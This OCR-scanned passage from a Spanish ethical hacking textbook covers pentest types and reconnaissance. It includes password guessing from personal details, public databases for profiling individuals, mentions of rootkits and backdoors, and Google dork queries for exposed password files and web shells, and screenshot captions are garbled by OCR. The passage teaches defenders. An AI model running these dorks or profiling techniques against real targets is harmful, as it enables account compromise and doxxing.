estudian, podrian ser el dia de manana profesionales), y como no saben por dén-
de empezar, lo primero que utilizan es lo que tienen a mano: una herramienta o
la descripcion detallada de una simple técnica de intrusiéon que leyeron en algin
correo o foro. Aclaremos que un script kiddie es aquella persona que, sin cono-
cimiento alguno de protocolos, sistemas operativos, ni seguridad de la informa-
cién, se vale de una herramienta o técnica ajenas para cometer intrusiones en In-
ternet u otras redes, o al menos intentarlo. Logicamente, puede tener las mas di-
versas intenciones. Por otro lado, network security assessment, es uno de los nom-
bres que suele tener el penetration testing o chequeo de penetracion, también cono-
cido como testeo de vulnerabilidades, prueba de penetracion o hacking ético, co-
mo suele llamarselo por estos dias. El beneficio de éste para la organizacion es que
ella se conozca a si misma en cuestiones de vulnerabilidades y potenciales brechas
de seguridad en el sistema de informacién, emulando en ataques tanto a script ki-
ddies como tambien, a habiles intrusos.

Este chequeo de seguridad puede ser externo si es desde Internet hacia un sitio web de
e-commerce o hacia terminales de una red corporativa o componentes de ésta; o inter-
no si es desde de una misma red, emulando un empleado o bien un intruso que ha lo-
grado ingresar desde el exterior a la red interna de la organizacion. Es siempre de ca-
racter técnico, al contrario de una auditoria de seguridad IT en la que se comprueban
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o pasan a revision las politicas y los procedimientos. También puede denominarselo co-

mo:

* White Box Test: es un chequeo llevado a cabo por un pentester que tiene toda
la informacion acerca del sistema.

* Black Box Test: este chequeo es llevado a cabo desde cero, sin informacion, tal
como lo harfa un intruso cualquiera y lleva mucho mas tiempo.

* Grey Box Test: se cuenta con conocimientos parciales del objetivo, siempre brin-
dados por la misma organizacion.

Generalmente, las organizaciones se alinean bajo alguna metodologia para realizar el

testeo, aunque otras mas versatiles optan por hacerlo de modo mas artesanal, lo cual

no significa gran diferencia siempre y cuando el profesional sepa dirigir el assess-

ment (ataque) adecuadamente y no deje objetivos, detalles o tramos olvidados.

- e 25 | L | http:jfwew. vaneduc.edu.arfuaifdefault.asp W |G|‘

Posgrados I AP
Formacion Continua . J

Institucional R e Capacitacion y Servicios
Bienestar Universitario K Noticias On-Line
Investigacion Universidad y Trabajo
Comunicacion Biblioteca On-Line
Facultades Autoevaluacion y Fiscalizacion
Concursos Docentes / Inscripciones e Informes 2008
Webmail Educacion a Distancia
Servicios On-Line para alumnos UAI Book y UAI Soft

Materia. En el programa de 5° afio de Ingenieria en Sistemas, la Universidad Abierta
Interamericana (www.vaneduc.edu.ar/uai/) posee la materia Seguridad Informatica.
Comprende: cifrados, seguridad de la informacion (analisis de riesgo, contingencia,
auditorias), deteccién de intrusos, seguridad en red, filtrado de paquetes y firewalls,
hacking y administracion segura de plataformas y aplicaciones (hardening).

Para evitar circunstancias indeseadas, existe la planificacion previa, que sirve para
determinar el alcance que tendra, los limites, los objetivos y la buena utilizacion de
recursos. En muchos casos, se discute quién deberfa llevarlo a cabo, si personal
propio de la organizacién o terceros contratados. Para tomar esta decision, entra
en juego la ética de los integrantes del departamento de sistemas y el de seguridad
informatica, dado que tienen que reportar fallas o implementaciones deficientes,
quiza llevadas a cabo por colegas de la misma oficina. Hay que prestar suma aten-
cion a los conflictos de intereses que pueden crearse en empleados, administrado-
res y analistas de una misma empresa en una busqueda de estas caracteristicas.
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Al ser analista externo, generar un reporte de seguridad detallado es una incognita
para los empleados de seguridad o sistemas de la organizacién que nos ha
contratado, hasta que se entrega. La ética dificilmente pueda ser menoscabada,
aunque los recursos utilizados (tiempo, herramientas, dinero y recursos humanos)
suelen ser mayores.

Al ser analista interno, se facilita la tarea porque se conoce mejor y de modo real el
sistema de informacion, y por tanto disminuyen los recursos utilizados y se complica
en otros aspectos. En algunas organizaciones es muy comun que, al encontrar algo,
se avise al colega administrador o analista para que lo solucione y asi no figure en el
reporte. Si bien eso serfa mitigar rapido el problema, es una falta de ética profesional
y un ejemplo de innumerables vicios relacionados.

Lo mas recomendable es que se implemente todo de manera correcta y, en lo
posible, que se desarrolle el sistema desde cero. Luego de realizar relevamientos
exhaustivos, conviene que se planifique y se definan los procesos adecuadamente
(hasta la dependencia mas primitiva), ya que en el transcurrir del tiempo deberan ser
siempre depurados. También hay que tener en cuenta la escalabilidad a futuro y un
plan de contingencia para asegurar la continuidad del negocio y el procesamiento de
datos.

La idea es llegar a un nivel de organizacion y de seguridad maduro que sea auditado
y chequeado por analistas externos junto a analistas de organizacién y métodos.
Crear un comité para debatir los resultados e implementaciones, y mitigar las
falencias encontradas de modo serio. Controlar y auditar para mejorar, reclutar
verdaderos talentos y formarlos mas aun en la empresa.

Todo esto es valor agregado en la bisqueda del objetivo por parte de la orga-
nizacioén, por tal motivo, hay que tratar de cumplir muy bien nuestro rol si vamos a
dedicarnos de lleno al tema.

Sitios de Educacion.

www.sistemas.frba.utn.edu.ar
www.caece.edu.ar/Grado/Ing_Sistemas.asp
www.isec-global.com
www.rsa.com/training/pdfs/EDCRS_GD_1004.pdf
www.checkpoint.com/setrvices/education/ certification
www.cisco.com/web/learning
WWW.comptia.org

www.itmaster.com.ar
www.itcollege.com.ar
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www.centraltech.com.ar
www.cybsec.com/ES/setvicios/ capacitacion.php
www.bs.com.ar
www.proydesa.org

Noticias

www.derkeiler.com
www.net-security.org
www.seclists.org
www.securitytracker.com/signup/signup_now.html
www.microsoft.com/technet/security/
www.kernel.org/pub/linux/docs/lkml/
http://lists.grok.org.uk/pipermail / full-disclosure
www.hispasec.com
www.secutiteam.com/mailinglist.html
www.whitehatsec.com

www.segu-info.com.ar
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- s o Boletin Semanal oro
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Es un sitio dedicado a la sequridad de la informacion con una gran comunidad.
Cuenta con varios mailing lists, y los temas centrales de éstos son la sequridad de la
informacién, la seguridad informatica y las leyes relacionadas con la seguridad de la
informacion. Se llevan a cabo tanto discusiones entre profesionales como
concientizacion sobre seguridad a gente que utiliza recursos tecnoldgicos e Internet.
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2 > Recabar
informacion

Técnicas usuales que se utilizan para la
recoleccién de datos antes de la emulaciodn
de un ataque. Asimismo, veremos la
preparacién de los medios, la enumeracidn
y la clasificacién de los datos obtenidos
para la definicidén o la planificacidén del
asalto al objetivo.

Todo esto mostrado tanto desde el punto de
vista de un profesional ético, como en el
de un intruso, para hacer notorias 1las

diferencias.



INFORMATION GATHERING

Se denomina information gathering a la instancia previa al intento de ejecutar una
intrusion informatica a un sistema por parte de alguien no autorizado. También es
empleada (generalmente en organizaciones) por los profesionales éticos en caso de
asestar una comprobacion de seguridad. Information gathering implica llevar a ca-
bo la tarea previa y minuciosa de inteligencia (similar a un reconocimiento del te-
treno), mas precisamente a la recoleccidn de datos acerca del objetivo o de algiin com-
ponente relacionado a este 0 a parte de él. Esta fase se compone, fundamentalmente,
de investigacion y analisis de datos recabados.

El sistema de informacién cuenta con incontables piezas y, por lo tanto, el factor
permeable (brecha o agujero de seguridad) inicial de éste podria encontrarse en
cualquiera de los niveles, comprendidos entre una falla humana, una de infraestruc-
tura (técnica), logica y hasta externa por los agentes involucrados (por ejemplo, un
proveedor de Internet o hosting inseguro o una sucursal con su red desprotegida)
o distintos ambientes interconectados.

Los datos que buscan los intrusos antes de atacar pueden estar relacionados con al-
gun empleado, ya sea ejecutivo u operario, con algun sistema o tramo de ¢l o con
algiin procedimiento u operaciéon que nos permita intervenir en él. También puede
ser una direccién IP, un sitio, una red, una aplicacién, un servicio (puerto abierto
de autentificaciéon o no), un protocolo, un determinado descuido de programacion
o de administracion, un directorio, un documento, una plataforma o bien cualquier
dato de ubicacioén fisica o denominacién de algin sector de la misma organizacion.
Por supuesto, si puede directamente conseguir logins, lo intentara.

No interesa si el dato es muy importante o casi insignificante. Todo es util a la ho-
ra de la escalada en el sistema y la previa planificacién de este embate (chequeo o
simulacion de ataque). Algunas de las preguntas utiles antes de proceder serfan:

* :Qué sabemos de nuestro objetivo?
e :Dénde estan sus redes, sitios o por donde fluye su informacién?
* ¢Qué partes lo conforman?

Plataforma, arquitectura y sistema operativo

Plataforma, arquitectura y sistema operativo no son lo mismo. La arquitectura es interna del
hardware y a quien va dirigido un sistema operativo. Veamos algunos ejemplos, con la arqui-
tectura entre paréntesis: Digital UNIX (alpha), FreeBSD (i386), Linux (i386, mé8k, alpha, po-
werpc, mips, arm), SCO (i386), Solaris (sparc, sparcé4, i386, mé8k), Windows (i386, amdé4).

46



* ¢Qué sistemas poseen y como estan formados?

¢ ;Cémo se llaman los integrantes de la organizacion?

* ¢Quiénes son sus empleados y qué hacen? ;Cémo y donde?

* :Qué informacion sobre ellos se puede consultar o conseguir en Internet?

Un viaje de 1000 leguas comienza con el primer paso, decfan los chinos. Asi, por
ejemplo, saber con qué plataformas vamos a tener que lidiar o conocer algunos
usuarios del sistema, es un buen comienzo.
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April 08 Hewsletter MSSOL --> Pwdump --> John The Ripper mailing list post with
Hack Videos April 08 Hewsletter Video the ste in it

CrackMe 0x02 Winners and Solutions TCPDUMP command:line options with
Newsletters N —

ChicagoCon 08 definitions (O Banner Ad on another
Forum MSSOL Preauth Exploit. Pwdump?, cracking stte
Book Reviews hashes with rainbowerack O Idont know how I got

MSF v3 VliCinject Video
Resources here, but I'm here...
About Us Home VvOTE [l RESULTS
FAQ
s o ]

Links

Online. En este sitio www.learnsecurityonline.com podemos
encontrar cursos gratuitos para aprender sobre seguridad, foros
para consultar a colegas, videos sobre técnicas de intrusion y desafios.

Comunmente, se denomina footprinting (siguiendo la huella de pisadas) a esta recolec-
ci6én de informacion previa. De todos modos, cada atacante o consultor tiene sus pro-
pios métodos y recursos durante esta busqueda. Mientras mas minuciosa e ingeniosa
sea, mas posibilidades tendra de dar con un descuido, un objetivo o por lo menos, una
pista para comenzar con otra etapa del embate. Por ejemplo, un atacante real que po-
see en su haber algunas o la mayorfa de las bases de datos de ISP (proveedores de In-
ternet) del pafs, o tiene acceso a ellas, cuenta con una clara ventaja sobre el resto ya
que, en éstas, posiblemente habra mucha informacion util relacionada con personas
de la organizacién que pueden tener algun dato importante, como passwords, o pet-
miten conseguitlo. Estos datos pueden servir para comprometer el sistema o parte de
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él.

La ventaja del intruso en esta fase del ataque, si se lo compara con el hacker ético o
profesional, es mayor, dado que puede utilizar recursos no éticos para la extraccion o
recoleccion de informacion pasiva (o no) del objetivo. El conocimiento de estas ven-
tajas por parte del profesional, y saber como lidiar con ellas, hara que el sistema que
se quiere proteger tenga la normativa adecuada y controlada, luego de un exhaustivo
chequeo.

Consultas a bases de datos

La recolecciéon de datos previos al ataque generalmente comienza en algun tipo de
base de datos y otros recursos que se dispongan. Cuando son hechas por un intru-
so, estas recolecciones a veces no son legales. Un ejemplo de consulta a base de da-
tos ilegal serfa el caso antes mencionado: el intruso que tenga en su poder una ba-
se de datos de algtin ISP en el que figuran, por casualidad, los datos personales de
algunos integrantes de la organizacién que atacara.

Este, luego de cotejar las coincidencias de personas (existencia tanto en la base de
datos como en la organizacién), tomara los datos personales de ellos y, acto segui-
do, tratara de emplear como passwords sus fechas de nacimiento, sus nimeros de
documento, sus oficios y los mismos passwords alli utilizados, pero esta vez en las
cuentas de correo de la organizaciéon u otro servicio que requiera autentificacion
(como ssh, ftp, rlogin o telnet, por ejemplo).

Entre otras técnicas (como por ejemplo la de ingenietfa social que veremos mas ade-
lante), también basado en esos datos, tratara de descifrar la entropia y composicion de
sus passwords. Veamos algunos ejemplos. Si en su cuenta personal la victima tiene una
pregunta secreta relacionada con un libro (supongamos El principito) o encuentra en
un foro que a esa persona le interesa ese libro, el intruso probara claves como las si-
guientes: elprincipito, zorro, invisiblealosojos, vibora, antoine, exupery, baobab, asteroi-
de3251, b612, rosa, etcétera. En otros casos, si el usuario afios atras utilizaba en sus
cuentas de ISP claves como maradonal0, el intruso también probara con maradona,
dlo5, dios, capitan, manodedios, diegoarmando, lapelotanosemancha, dieguito, 10ma-

Paliativos

El profesional puede mitigar problemas redactando, por ejemplo, una politica interna
que dicte a sus empleados: no utilizar passwords relacionados con uno mismo ni utili-
zar esas claves en otros ambientes personales. Otra forma seria asignar un determi-
nado password, eliminando asi la posibilidad de libre y mala eleccion del empleado.
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radona, pelusa, etcétera, tratando de dar con alguna forma actual o evolucionada de la
clave, ya que es muy probable que el usuario hoy en dfa también las utilice, o bien, que
las haya heredado y las use en otras aplicaciones de logueo (autentificacién-acceso).
Incluso los datos personales (como nombre y apellido) serviran para deducir los
usuarios de login y no solo la clave. El tipico ejemplo es el UserID (el usuario que
antecede al signo @) de las actuales cuentas de e-mail corporativas e institucionales,
formadas por la primera letra del primer nombre, seguido del apellido. Por ejemplo,
ctori@dominiovictima.com. Informaciéon como ésta le servira al intruso para sacat
mas informacion aun, quiza desde otros lugares. Esta persona, ademas, buscara en
bases ilegales, como la de tarjetas de crédito, entidades de aportes jubilatorios, pa-
drones de todo tipo (disponibles hasta en redes P2P), entidades privadas o bajadas
de servidores de organizaciones que fueron previamente atacadas y comprometidas.
Para el intruso, una fuente de passwords o datos sensibles de ese estilo es de rele-
vancia atemporal. Esto significa que no importa si la base de datos que tiene en su
poder es vieja, ya que podra usarse en un futuro como dato significante o como
pista para conseguir el dato necesario actual.

Es comun ademas que éste, mas alla del analisis integro del sitio institucional del
objetivo, busque también informacién de algin componente de la organizacion en
portales o sitios relacionados con postulaciones laborales (miles de curriculum vi-
tae), informacion de riesgo crediticio, reimpresion de patentes de automoviles, pa-
drones de votacion, foros, blogs y comunidades online de todo tipo, juicios o por-
tales de leyes, eventos, registros de dominios, portales de educacion, guias empre-
sariales, telefonicas, profesionales e industriales, busqueda de colegas, redes socia-
les tipo Lynkedin, Facebook, Sonico, Econozco o Myspace, avisos clasificados de
todo tipo, policia y agencias de seguridad online.

Como vemos, la lista es muy extensa.

Seguramente, el intruso tratara de comprometer cualquiera de estos lugares para ex-
traer la informacion en caso de que ésta no sea publica o de que haya que pagar pa-
ra consultarla. Si los sistemas de esos lugares son bastante seguros, entonces inten-
tara comprometer un usuario legitimo, quizas hasta volverse uno para hacer la con-
sulta (por ejemplo, en los sistemas de consulta de riesgo crediticio y otros que son
abonados mediante tarjeta de crédito online, es posible que el intruso compre esos

Rooteado

Rooteado, es slang o lunfardo y significa que el intruso ha escalado privilegios (mayo-
res permisos en el servidor) en un sistema Linux/Unix hasta llegar a ser un usuario con
permisos de root (cuenta de maximo privilegio). Esto le da la posibilidad de realizar
cuanto desee dentro del sistema, siempre y cuando sepa como.
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datos a nombre de otro, con una tarjeta ajena). Por dltimo, tratara de obtener la in-
formacion de alguien que esté dentro de esa organizacién u empresa, ya sea por
amistad, conveniencia, intercambio o engafo.

Como vemos, no hay limites. Todo vale para los intrusos en la red, ya sea un chi-
co que quiere deformar una pagina, alguien que rootea un servidor desde el kernel
o bien un intruso dedicado a hacer espionaje corporativo.

Sea por el motivo que sea, ego, curiosidad, desafio intelectual o dinero, algunos ac-
tos estaran descartados por la ética de cada persona, como el uso de tarjetas o el da-
flo a sistemas ajenos, pero no escatimaran recursos de tiempo y légica para lograr-
los.

(] % [0 itpstgomm.pol.gba.gov.ert | &[Gl

Policia de la Provincia de Buenos Aires

Centro de Operaciones
Policiale!

Informacién de interés Provincial

Recompensa Publica

$400.000

més informacién

Ci Pren £
Repiblica Argentina (O.N.R.P.A)

Contactenos

Base. Las agencias de seguridad tienen portales de bdsqueda de datos, y algunos
de estos organismos no poseen el acceso tan pdblico. Intranets y extranets, o todo aquel
espacio para la consulta de datos sea o no privado, son muy tentadores para los intrusos.

Consulta URL

Historial laboral www.anses.gov.ar/autopista/Serv_publicos/historia.htm
Deudas, créditos www.bcra.gov.ar/cenries/cr010000.asp?error=0

y tarjetas

Ingresos declarados a la AFIP
https://seti.afip.gov.ar/padron-puc-constancia-internet/ConsultaConstanciaAction.do

Obra social que posee  www.anses.gov.ar/autopista/Serv_publicos/ooss.htm

Infracciones de transito  www.buenosaires.gov.ar/areas/sequridad_justicia/justicia_tra
bajo/adm_falta/?menu_id=5743

Foto de la fachada www.mapa.buenosaires.gov.ar/sig/index.phtml

de su casa

Bases Online. En algunas bases de datos publicas, se puede
encontrar informacion acerca de alguien con sélo tener el ndmero
de documento, que se consigue facilmente en el padron nacional.
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Una recoleccion (mucho menos pasiva) de informacion ligada a bases de datos por
parte de los intrusos es aquella que resulta intrusiva. Veamos cémo pueden lograr
esto: el intruso programa o utiliza un massrooter (mezcla de escaner con exploit re-
moto Oday que permite meterse dentro de los servidores o extraer datos secuencial-
mente a muy alta velocidad), barriendo los rangos de direcciones IP. Estos datos
son acumulados (coleccionados) para utilizar en un futuro o bien aprovechando la
intrusion. Sea de paso, tambien pueden instalar algunas de las siguientes cosas:

* Backdoors on-the-fly: Los backdoors son puertas traseras para volver a ingre-
sar cuando asi lo deseen, sin despertar sospechas (en el caso de los on-the-fly), ya
que no dejan un puerto abierto o algo remotamente detectable como para saber
que existe. Mas informacién acerca de esta avanzada técnica, en www.hackerz.ir/
e-books/init_rpi.txt (detalla como patchear el kernel OTF).

* Binarios troyanizados: El intruso con conocimientos suficientes suele reempla-
zar a mano algunos archivos binarios de sistema (por ejemplo ps, Isof o Is en Li-
nux) para ocultar procesos o archivos dentro del sistema operativo. Cuando uti-
lice éstos, el administrador del sistema no se dara cuenta tan facilmente de que
hay procesos y archivos nuevos en su servidor.

* Rootkits: Este es un kit o una serie de aplicaciones que se utiliza para mantener
los privilegios de root dentro del servidor, que no se instala en forma tan artesa-
nal y sirve para mantener procesos ocultos vy, tal vez, una puerta de entrada.

Los hay para todos los sistemas operativos.

* Sniffers: Se trata de capturadores de logins o de cualquier clase de paquete.

En el capitulo 8 hay ejemplos de cada uno.

Los archivos mas recolectados por esta técnica intrusiva son los shadows de los
servidores Linux y Solaris, los SAM de los servidores Windows de la familia Ser-
ver o terminales XP (ambos poseen las cuentas de sistema y sus passwords de
modo cifrado). También se pueden comprometer directamente mediante descui-
dos de administracién y no por fallas en software, como por ejemplo, la famosa
cuenta SQL de nombre sa, sin clave asignada.

Script kiddie

Un script-kiddie no sélo barre (escanea buscando o ejecuta exploits al azar) los rangos de
direcciones IP. Estos, extraeran informacion de carpetas compartidas o intranets/extranets
sin restriccion de acceso o con fallas de inyeccion de codigo SQL, muy faciles de detectary
de utilizar para comprometer servidores de empresas u otras organizaciones.
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Asi, quizas, el administrador tuvo desactualizado un dia de fin de semana su servidor,
pero éste ya fue comprometido cast sin rastros. En el futuro, si ese servidor pertene-
ce a una organizacion a la que debe comprometer, el intruso solo debera buscar uno
de esos archivos extraidos previamente, romper el cifrado de la cuenta de sistema (y
ver el resto de sus datos si los tiene) para asf ahorrarse mucho tiempo. Es muy pro-
bable que un login/pass sea coincidente en un servidor de otro tramo de red en la
empresa o que, al menos, sirvan sus usuatios de sistema. Muchas empresas nunca sa-
ben como fueron comprometidas supuestamente hoy, pero el caso es que lo fueron
inicialmente hace mucho tiempo (por ésta o por otras técnicas mas avanzadas).

Buscadores

Los buscadores son una increfble fuente de clasificacion, analisis, busqueda y caché
de informacion, confidencial o no, sobre un objetivo. Altavista fue el buscador pre-
ferido en los afios 90, Yahoo lo fue mas cerca del afio 2000 y hoy lo es el excelen-
te Google. Seguramente habremos escuchado hablar de Google hacking, es decir,
utilizar el famoso buscador para encontrar datos relevantes del objetivo.

GO ()8 le [filetype:sql "insertinto" (pass|passwdlpasswe| [ Search | Advinced Search
New! View and manage your welf

Web Results 1- 10 of about 974 for filetype:sql “insert into™ (pass|passwd|password). (0.04 s

ICREATE TABLE 'user' ( 'DOB' INT{10) NOT NULL default ", 'fullname ...
.. tegoaijubopo’, 'root’, '<IML=L:k’); INSERT INTO ‘pass’ (ID', fname', ‘mdata’, ...
[fullname”passwd) VALUES (3d157c88dd3db7200ab065c0beB04357", ...

Similar

ySQL dump 10.10 -- - Host: localhost Database: grazr_accounts ...
.. INSERT INTO ‘users” (username, password, date_created, last_modified) VALUES
‘opml’,md5(1OKIjljljklj21j) now() ,now(); INSERT INTO “users’ (usemame, ...
haty.net/grazraccounts/sql/users_keywords.sql - 7k - Cached - Similar pages

/1140101 SET @OLD CHARACTER SET CLIENT=@@CHARACTER SET CLIENT ...
... CREATE TABLE maillog ( pass tinyint(1) unsigned not null, uid bigint not null ... rev 130

INSERT INTO ‘users’ (usemame, password) VALUES (‘edit’ ...
www. paty.net/grazraccounts/sqlfalter_grazr_accounts.sql - 8k -

ched - Similar pages

ICREATE TABLE 'PAYMENT' ( 'description' BLOB(15) default ", 'mname ...

.. insert into Owner (id', fhame’, 'mdata’, ‘pass’, ‘pass)) values (‘admin’, .... ‘password’;
ICREATE TABLE 'USER' ( 'default’ BOOL default NULL, ‘pass'...
ghh. sourceforge. net/demo/GHH%20v1.1%20-%20.sql/create. sl - 9k - Cached - Similar pages

ehicle Incident Report {assumes you already have a vir schema ...
Jacobs( jacobs.net'); -- Populate p d data INSERT INTO vir.password VALUES
1, johndoe'); INSERT INTO vir.password VALUES (2 , janedoe’) ...
deadlock.netbeans.org/.../netheansivisualweb/
dataconnectivity/release/startup/samples/create-vir-derby. sql - 8k - d - Similar pages

Google. Detalles de una bisqueda en Google relacionada
con archivos que contienen passwords en tablas SQL.

Entonces, veamos ahora una lista bastante completa de busquedas determinadas
que se pueden hacer para encontrar informacion ligada a intrusiones: archivos con

informacién sensible, configuraciones, bases de datos, detalles de vulnerabilidades,
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avisos, usuarios, entradas de logueo, logins, directorios privados, errores tipicos de
un sistema operativo o aplicacion en especial, etcétera.

Por su parte, el proyecto Google Hack Honeypot (http://ghh.soutrceforge.net)
merece especial atencion.

ghhus jo

| General

What is GHH? | Home
¢ Introduction
Google Hack Honeypot is the reaction to a new type of malicious web traffic: search engine hackers. GHH is a “Google Hack” i Install Guide
honeypot. It is designed to provide reconaissance against attackers that use search engines as a hacking tool against your i Live Dema
resources. GHH implements honeypot theory to provide additional security to your web presence. :+ Download Horl
i Download Mat
Google has developed a powerful tool. The search engine that Google has implemented allows for searching on an immense EAQ
amount of information. The Google index has swelled past 8 billion pages [February 2005] and continues to grow daily. Mirroring '
the growth of the Google index, the spread of web-based applications such as message boards and remote administrative tools : Developers
has resulted in an increase in the number of misconfigured and vulnerable web apps available on the Internet. %‘%
1 Levelgper FAQ
These insecure tools, when combined with the power of a search engine and index which Google provides, results in a convenient | Who's Who?
attack vector for malicious users. GHH is a tool to combat this threat. i Help GHH
GHH is powered by the Google search engine index and the Google Hacking Database (GHDB) maintained by the : Honeynet Allig
johnny.ihackstuff.com community. H
Honeynet Research with GHH ; puttons _
You can view research done with GHH in the Honeynet Project's "Know Your Enemy" paper on web application honeypots.
GHDB Honeypots Available: Powered By

GHDB Signature #365 Emulated (intitle:"PHP Shell *" "Enable stderr” filetype:php)

GHDB Signature #833 (filetype:php HAXPLORER "Server Files Browser")

GHDEB Signature #733 ("Enter ip" inurl:"php-ping.php")

GHDB Signature #365 (intitle:"PHP Shell *" "Enable stderr" filetype:php)

GHDB Signature #935 (inurl:"installfinstall.php")

GHDB Signature #361 ("Powered by PHPFM" filetype:php -username)

GHDB Signature #161 (inurl:phpSysinfo/ "created by phpsysinfo")

GHDB Signature #1013 ("SquirrelMail version 1.4.4" inurl:src ext:php)

GHDEB Signature #162 (allinurl: admin mdb)

GHDB Signature #1064 (filetype:sgl ("passwd values" | "password values" | "pass values" ))

GHH. Google Hack Honeypot es un proyecto para estudiar
y analizar a script-kiddies que utilizan Google para buscar
determinados parametros (de organizaciones al azar) en el buscador.

Se denomina Honeypot al sistema (tipo carnada) cuya intencion es atraer a intrusos
simulando ser sistemas vulnerables o débiles a los ataques. Es una herramienta de
seguridad informatica usada para recoger informacion sobre los atacantes y sus téc-
nicas. Los Honeypots pueden distraer a los atacantes y advertir al administrador del
sistema de un ataque, ademas de permitir un examen en profundidad del atacante,

Lectura recomendada

No es posible dejar de recomendar el excelente libro Google Hacking for Penetration
Testers, Volume 2, de Johnny Long. En esta obra, podemos encontrar todos los méto-
dos y combinaciones de bisqueda posibles. Por otra parte, en http://johnny.ihackstuff-
.com/ghdb.php, se puede encontrar la conocida Google Hacking Database.
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durante y después del ataque. La gente de Google no es tonta y lo mas probable es
que cuando un atacante, buscando objetivos al azar, coloque algunos de los méto-
dos descritos en la GHDB (Google Hack Database) sea redireccionado hacia algu-
na honeypot o a una mayoria de links con resultados 404 y a mas honeypots. Esto
permite controlar los ataques indiscriminados de script-kiddies, pero no asi el ata-
que a organizaciones de modo focalizado.

La tipica busqueda inicial de un objetivo determinado sera entonces: site:sitiovic-
tima.com. A sitiovictima.com, lo antecede el operador avanzado site:, que dara co-
mo resultado una lista de subdominios relacionados o todas sus posibles secciones,
incluso, links. A partir de alli, el intruso o el profesional comenzaran a investigar
todos sus URLs, caché, sus fuentes, sus datos, aplicaciones y tecnologias. También
como en la busqueda de un e-mail, es recomendable utilizar la siguiente sintaxis:

* @dominiovictima.com: sélo el dominio para ver mas usuatios.

* usuario@dominiovictima.com: e-mail completo.

¢ usuario dominiovictima.com: con un espacio en blanco en el medio.
* usuario: el usuario solo.

* usuario dominiodealgunisp: para encontrar otras posibles casillas.

La busqueda debe pasar mas por la légica e inventiva nuestra (a mano, claro) que
port los recursos automatizados con los que contemos para todo lo que compren-
de el chequeo. ¢Por qué? Porque tendremos infinitas posibilidades de combina-
cién en comparacion con las que tendrfamos si pusiéramos una herramienta que
lo hiciera por nosotros. Por otro lado, lograremos entender bien cémo se hace
una investigaciéon meticulosa via buscador. Quizas al principio lleve mas tiempo,
pero a medida que éste pasa y se tiene mayor experiencia, los detalles y datos sig-
nificativos seran mas y mejor logrados. A continuacion, vemos un listado de ope-
radores avanzados de Google:

e site: busca todo lo relacionado al dominio.
e intitle: sitios relacionados al titulo.
e allintitle: sitios de titulos con todas las palabras definidas.

Cuidado con los posts

Nunca conviene postear (publicar) direcciones de e-mail, menos la de nuestra empre-
sa. Conviene usar una de Hotmail o Gmail. Ademas, no es recomendable usar nom-
bres reales, cargos o detalles, sino sélo nicknames aleatorios. Si posteamos desde
nuestra empresa, recordemos usar un proxy http para no dejar la direccion IP real alli.
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inurl: presente en el URL.

allinurl: todo presente en el URL.

filetype: tipo de archivo por buscar, extension.
allintext: todo presente en el texto por buscar.

link: quién linkea a determinado sitio buscado.
inanchor: busca en el texto utilizado como link.
daterange: busca entre rangos de fechas.

cache: busca dentro de los sitios cacheados.

info: informacién sobre el sitio web buscado.

related: busca similares.

author: autor de mensaje en Google Groups.

group: busca pertenencia de grupo en Google Groups.
phonebook: busca nimeros de teléfono.

insubject: busca titulares de mensajes en Google Groups.
define: busca el significado de determinado vocablo.

El uso del simbolo menos (-) para la exclusion de palabras es muy util a la hora de

buscar entre mucho material; lo mismo pasa con las comillas (

({32

) en caso de bus-

car una frase textual o el simbolo (+) para relacionar.

AR J0. o a0 2

) Enor Messages (68)

) Files containing juicy info (228)

) J Files containing passwords (137)
) O Files containing usemames (15)
)+ D Footholds (21)

O “adding new user" inurl: addnewuser -'there are no di
2 "index of /" (upload.cfm | upload.asp | upload.php | L

2 "Please re-enter your password It must match exactly Results

9 (intitle:"SHOUT cast Administrator)l(intext:"U SHOUT Status Dork URL found

< (intitle: "wordPress Setup Configuration File")inurk"s¢ | © Success  intitle:index.of administrators.pwd hittp: /v themothersheart. com/_vti_pvt/

D (inurk81/cgi-bin/.cobalt/) | fintest Welcome tothe C | @ Success  intitlezindex.of administrators.pwd http: 2w lionine. org/dutham/_vti_pvt/

) +htpasswd +w/'S_FTP.LOG filetype:log © Success intitle:index.of administrators.pwd http:/#trade. hamk. fizwwwkurssi/_vti_pvt/

 filetype:php HAXPLORER “Server Files Browser © Success  intitlesindex.of administrators.pwd http://trade. hamk . fitwwwkurssi/_vti_pvt/?C=M.0=D

Qo ERROR: The requested URL §ould not be,'et' @ Success intitle:index. of administrators.pwd http:/2www. schnidrig.net/etc/passwd/

4 net2f “powered by net2tp” inuftp OR e © Success intitle:index.of administrators. pwd

Q "web Data Administrator - Login™ T < dx About GoolagS E
9 @ Success intitle:index. of administrators.pwd ouTGogagscanneT

O intitle:""YALA: Yet Another LDAP Administrator
2 intitle: admin intitle:login

© Success intitle:indesx. of administrators. pwd .

O intitle:MyShell 1.1.0 build 20010923 @ Success intitle:index. of administrators.pwd

O inurl:"phpOracleddmin/php” -download -cvs @ Success intitle:index. of administrators.pwd - 3 "/ A

< inurl"tmtrack.dIi?" SCANNEF
 inurl:ConnectComputer/precheck.htm | inurl: Remote/ e

O inurl:polly/CP Version 1.0.0.4

Goolag. Esta es la pantalla de la herramienta Goolag Scanner para Google,

Busqueda avanzada y operadores

La busqueda avanzada de Google en espafnol estd en www.google.com/advanced-
_search?hl=es. Operadores y como usar los servicios de bisqueda de Google: www.goo-
gle.com/intl/es/features.html, www.google.com/ intl/es/help/basics.html y www.google-
.com/intl/es/help/refinesearch.html.
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realizada por cDc (cult of the dead cow). Podemos bajarla de www.goolag.org.

Para evitar problemas, en nuestros sitios web conviene utilizar un filtrador de robots
de indexacion, si no deseamos que Google u otro buscador cacheen el sitio o parte
de ellos. Incluso, es recomendable bloquear spiders en busca de e-mails para evitar
spam. Para crear archivos especiales, podemos visitar www.invision-graphics-
. com/robotstxt_generator.html. Es importante tener en cuenta que, si en el archi-
vo robots.txt declaramos directorios privados o sensibles, un intruso podra leerlo.
Hay que saber que el buscador no indexa todo el contenido del sitio y que el web-
master o administrador puede tomar recaudos para que el spider indexador no ca-
chee algunos paths (directorios o carpetas) del mismo sitio. De esta manera, esos
paths deberan ser buscados luego sin el uso del buscador.

- - L\éJ ’ﬁj‘ ||_| hikkps f s, wv.arfrobats, bxk

User-agent: +

Disallaw: f_bordersf
Disallow: /_private/
Disallow: /_revision/
Disallaw: f_vti_pvtf
Disallow: fcatalog.woi/
Disallow: /images/
Digallow: facripts/
Disallow: /Printers/
Disallow: /soporte/
Dizallow: /M3IDAC/S

Disallow: /IISAdmin/
Disallow: /IISSsmples/
Disallow: faspemail/
Disallow: femail-addresses/
Disallow: /mail/

